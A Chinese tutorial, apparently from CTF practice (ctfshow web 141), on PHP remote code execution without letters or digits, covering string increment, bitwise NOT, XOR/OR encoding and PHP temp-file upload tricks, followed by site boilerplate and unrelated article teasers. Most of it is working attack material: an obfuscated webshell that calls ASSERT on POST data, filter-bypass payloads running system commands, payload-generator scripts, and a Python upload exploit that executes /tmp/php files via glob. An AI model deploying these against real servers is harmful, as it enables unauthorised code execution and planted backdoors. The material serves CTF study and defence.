無字母數字rce總結(自增、取反、異或、或、臨時文件上傳)

目錄

自增

取反

異或

臨時文件上傳


自增

自 PHP 8.3.0 起,此功能已軟棄用

在 PHP 中,可以遞增非數字字符串。該字符串必須是字母數字 ASCII 字符串。當到達字母?Z?且遞增到下個字母時,將進位到左側值。例如,$a = 'Z'; $a++;將?$a?變為?'AA'

意思就是當$a=a時,$a++ == b

這里構造payload還需要一個知識點

下劃線這個可以當作變量名例如:$_? ?$__這樣

php有一個特性當強制調用數組和字符串時,數組會被強制轉換為字符串Array

例如:

設置$_為數組? ? ? ?$_=[]? ? ? ?在調用他$_=@"$_"

在這段代碼中,$_=[];創建了一個空數組,并將其賦值給變量$_。然后,$_=@"$_";使用字符串拼接的方式將變量$_轉換為字符串,并將結果重新賦值給變量$_

而這樣就導致@"$_"強制使數組變成了字符串,這樣就讓@"$_"強制轉換為了Array
所以$_==Array? ? $_[0]==A

這里做的是無字母數字的rce所以0也不能用,使用"@"=="~"代替(@不等于~,所以返回false,而false等于0)
$_["@"=="~"]==A

webshell:? ? ? (######php大小寫不敏感)

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

取反

這里用ctfshow的web入門141題來講

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

~在php中是取反符號

例如:

~0 = -1?

也可以用在字符串上

~a = ?

通過這個原理可以做出無數字字母的rce

shell:

<?phpecho urlencode(~'system');
echo '  ';
echo urlencode(~'\'ls\'');

payload:

v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%D8%93%8C%D8)-

異或? 和? ?或

原理:

異或

在php里,兩個值進行異或,會先轉變成ASCII在轉變成2進制

?異或^:數字相同為1不同為0(1^1=1,1^0=0),利用這個特性來構造字符串

0&0=0;1&1=0;0&1=1;1&0=1

例如:'a'^'$'=E

?按位或運算|:參與運算的兩個數轉化為二進制后,全為1則取1,如果是1和0這種還是取1

例如:101|100=101? ? ? ? 101|101=101? ? 100|100=100

此腳本的大致原理就是將EASCII(延伸美國標準信息交換碼,是將ASCII碼由7位擴充為8位而成)編碼拿去異或,首先過一遍正則,把不需要的去掉,再把所有異或出來的信息保存到文本里,再通過python來篩選

或運算也是同理

##這里還是使用到羽師傅的腳本

<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根據題目給的正則表達式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

拋出文件后使用python構造paylaod

from sys import *def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)fun="system"
cmd="ls"
print("function:"+action(fun))
print("cmd:"+action(cmd))

臨時文件上傳

通過上傳文件然后用符號.調用執行文件

第一個知識點:

通過post上傳文件,此時php會在linux里的零時文件夾保存文件,且文件一定是php加上六個隨機的字符? ? ? /tmp/php??????

這個應php保存的臨時文件會有一個特性,就是這6個隨機的字符會出現大寫的情況

例如:

普通文件/tmp/adcabcabc

php保存的臨時文件/tmp/phpAvxAsa

第二個知識點:

現在直到了文件上傳的位置以及特性那么現在要怎么利用它

  1. shell下支持使用. 來執行文件
  2. linux支持glob通配符代替文件名

例如我們需要利用到/tmp/phpFsGFKd這個文件,他和其他文件的區別就是php保存的臨時文件會有大寫字母的出現,而glob支持利用[0-9]來表示一個范圍,這就很好的解決了問題,

可以使用[@-[]這兩個字符之間真好是全部大寫字母,放在最后正好可以用來匹配文件名最后出現了大寫字母的文件

payload:.%20/???/????????[@-[]

import requestsurl = r'http://xxx.xxx/1.php?shell=?><?=. /???/????????[@-[]?>'
file = {'file': 'cat flag.php'
}response = requests.post(url, files=file)
print(response.text)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/718588.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/718588.shtml
英文地址,請注明出處:http://en.pswp.cn/news/718588.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C++知識點總結(23):高級模擬算法

高級模擬算法例題 一、P5661 公交換乘1. 審題2. 思路3. 參考答案 二、P1003 鋪地毯1. 審題2. 參考答案 三、P1071 潛伏者1. 審題2. 思路3. 參考答案 一、P5661 公交換乘 1. 審題 2. 思路 總花費中&#xff0c;地鐵是必須花費的&#xff0c;公交車可能不花錢&#xff08;坐地…

使用VisualDL進行模型訓練和數據可視化

文章目錄 使用VisualDL進行模型訓練和數據可視化1. 環境準備1.1 安裝VisualDL1.2 設置VisualDL 2. 寫入數據并可視化2.1 檢查訓練數據2.2 跟蹤模型訓練2.3 評估模型訓練效果 3. 啟動VisualDL服務4. 總結 使用VisualDL進行模型訓練和數據可視化 VisualDL是飛槳提供的一個可視化…

Java中的Object類詳解

Java中的Object類詳解 1. equals(Object obj)2. hashCode()3. toString()4.getClass()5.notify() 和 notifyAll()6. wait() 和 wait(long timeout)7. clone()8.finalize() Java中的 Object 類是所有類的父類&#xff0c;可以被所有Java類繼承并使用。下面先看下源碼&#xff1a…

google最新大語言模型gemma本地化部署

Gemma是google推出的新一代大語言模型&#xff0c;構建目標是本地化、開源、高性能。 與同類大語言模型對比&#xff0c;它不僅對硬件的依賴更小&#xff0c;性能卻更高。關鍵是完全開源&#xff0c;使得對模型在具有行業特性的場景中&#xff0c;有了高度定制的能力。 Gemma模…

革新商務數據體驗:引領市場的API商品數據接口

在當今商業環境中&#xff0c;革新商務數據體驗對于維持競爭優勢至關重要。API商品數據接口在這一轉型過程中扮演了核心角色&#xff0c;它不僅為企業提供了實時且全面的數據訪問能力&#xff0c;而且還極大地增強了數據的可操作性和決策支持功能。以下是API商品數據接口如何細…

面試數據庫篇(mysql)- 12分庫分表

拆分策略 垂直分庫 垂直分庫:以表為依據,根據業務將不同表拆分到不同庫中。 特點: 按業務對數據分級管理、維護、監控、擴展在高并發下,提高磁盤IO和數據量連接數垂直分表:以字段為依據,根據字段屬性將不同字段拆分到不同表中。 特點: 1,冷熱數據分離 2,減少IO過渡爭…

C語言入門到精通之練習42:畫圖,學用圓畫圓形。

題目&#xff1a;畫圖&#xff0c;學用圓畫圓形。 程序分析&#xff1a;無。 實例 #include <graphics.h> //VC6.0中是不能運行的&#xff0c;要在Turbo2.0/3.0中 int main() { int driver,mode,i; float j1,k1; driverVGA; modeVGAHI; initgraph(&d…

【Micropython基礎】TCP客戶端與服務器

文章目錄 前言一、連接Wifi1.1 創建STA接口1.2 激活wifi接口1.3 連接WIFI1.4 判斷WIFI是否連接1.5 連接WIFI總體代碼 二、創建TCP 客戶端2.1 創建套接字2.2 設置TCP服務器的ip地址和端口2.3 連接TCP服務器2.3 發送數據2.4 接收數據2.5 斷開連接2.6 示例代碼 三、TCP服務器的創建…

批量二維碼的教程和優勢:拓寬應用領域,提升效率與創新

隨著二維碼技術的不斷發展&#xff0c;批量二維碼在多個領域展現出了顯著的優勢&#xff0c;為商業和行業帶來了更多便捷和創新。以下是批量二維碼的一些顯著優勢&#xff1a; 1. 高效快速生成&#xff1a; 批量二維碼一次性生成多個二維碼&#xff0c;相較于逐個生成的方式&…

Linux之進程信號

目錄 一、概念引入 1、生活中的信號 2、Linux中的信號 二、信號處理常見方式 三、信號的產生 1、鍵盤產生信號 2、系統調用接口產生信號 3、軟件條件產生信號 4、硬件異常產生信號 四、信號的保存 相關概念 信號保存——三個數據結構 信號集——sigset_t 信號集操…

超簡單的chatgpt-next-web部署教程!

隨著AI的應用變廣&#xff0c;各類AI程序已逐漸普及&#xff0c;尤其是在一些日常辦公、學習等與撰寫/翻譯文稿密切相關的場景&#xff0c;大家都希望找到一個適合自己的穩定可靠的ChatGPT軟件來使用。 ChatGPT-Next-Web就是一個很好的選擇。它是一個Github上超人氣的免費開源…

Docker基礎教程 - 1 Docker簡介

更好的閱讀體驗&#xff1a;點這里 &#xff08; www.doubibiji.com &#xff09; 1 Docker簡介 Docker是一個強大的容器化平臺&#xff0c;讓你能夠更輕松地構建、部署和運行應用程序。 下面我們來學習 Docker。 1.1 Docker是什么 1 現在遇到的問題 每次部署一臺服務器&…

CSS 入門指南(一)CSS 概述

CSS 概述 CSS 介紹 CSS&#xff08;Cascading Style Sheets&#xff09;通常稱為 CSS 樣式或層疊樣式表&#xff0c;是一種用來為結構化文檔&#xff08;如 HTML 文檔或 XML 應用&#xff09;添加樣式&#xff08;字體、間距和顏色等&#xff09;以及版面的布局等外觀顯示樣式…

《MySQL數據庫》day1

文章目錄 1.名詞解釋2.如何啟動mysql數據庫3.mysql常用命令4.數據庫當中最基本的單元是表&#xff1a;table5.關于SQL語句的分類6.簡單查詢7.條件查詢8.排序9.數據處理函數單行處理函數常見的有哪些&#xff1f; 10.分組函數&#xff08;多行處理函數&#xff09; 1.名詞解釋 …

VUE2與VUE3之間的主要區別

當談到 Vue.js 的版本時&#xff0c;Vue 2 和 Vue 3 是最常被提及的兩個版本。下面是 Vue 2 和 Vue 3 之間的一些主要區別&#xff1a; 1. 性能提升&#xff1a; Vue 3 在底層核心重寫了響應式系統&#xff0c;采用了 Proxy 對象&#xff0c;大幅提高了性能。Vue 3 還引入了靜…

徹底解決華為手機安裝谷歌框架后出現未認證的彈窗問題

引言 本人使用華為手機通過B站等平臺學習如何安裝谷歌框架與商店后&#xff0c;發現安裝谷歌框架后出現未認證的彈窗問題少有解決辦法&#xff0c;而且容易復發&#xff0c;在借鑒相關視頻后找到解決辦法&#xff0c;但視頻中的華谷框架需要付費才能使用&#xff0c;本文將提出…

spring注解驅動系列--自動裝配

Spring利用依賴注入&#xff08;DI&#xff09;&#xff0c;完成對IOC容器中中各個組件的依賴關系賦值&#xff1b;依賴注入是spring ioc的具體體現&#xff0c;主要是通過各種注解進行屬性的自動注入。 一、Autowired&#xff1a;自動注入 一、注解介紹 1、默認優先按照類型去…

高中數學:函數奇偶性

一、定義 偶函數&#xff1a;定義域關于原點對稱&#xff0c;圖像關于Y軸對稱 f(x)f(-x) 奇函數&#xff1a;定義域關于原點對稱&#xff0c;圖像關于原點中心對稱 f(x)f(-x)0 等價于 f(-x)-f(x) 二、函數奇偶性的四種情況 注意&#xff1a; 即奇又偶的函數&#xff0c;只有…

Linux入門到入土

Linxu Linux 簡介 Linux 內核最初只是由芬蘭人林納斯托瓦茲&#xff08;Linus Torvalds&#xff09;在赫爾辛基大學上學時出于個人愛好而編寫的。 Linux 是一套免費使用和自由傳播的類 Unix 操作系統&#xff0c;是一個基于 POSIX&#xff08;可移植操作系統接口&#xff09…

【復現】宏景HCM 任意文件讀取漏洞_63

目錄 一.概述 二 .漏洞影響 三.漏洞復現 1. 漏洞一&#xff1a; 四.修復建議&#xff1a; 五. 搜索語法&#xff1a; 六.免責聲明 一.概述 宏景HCM 將人才標簽技術應用于員工招聘、人才選拔等環節&#xff0c;通過多維度的標簽體系&#xff0c;形成不同專業序列的人才畫…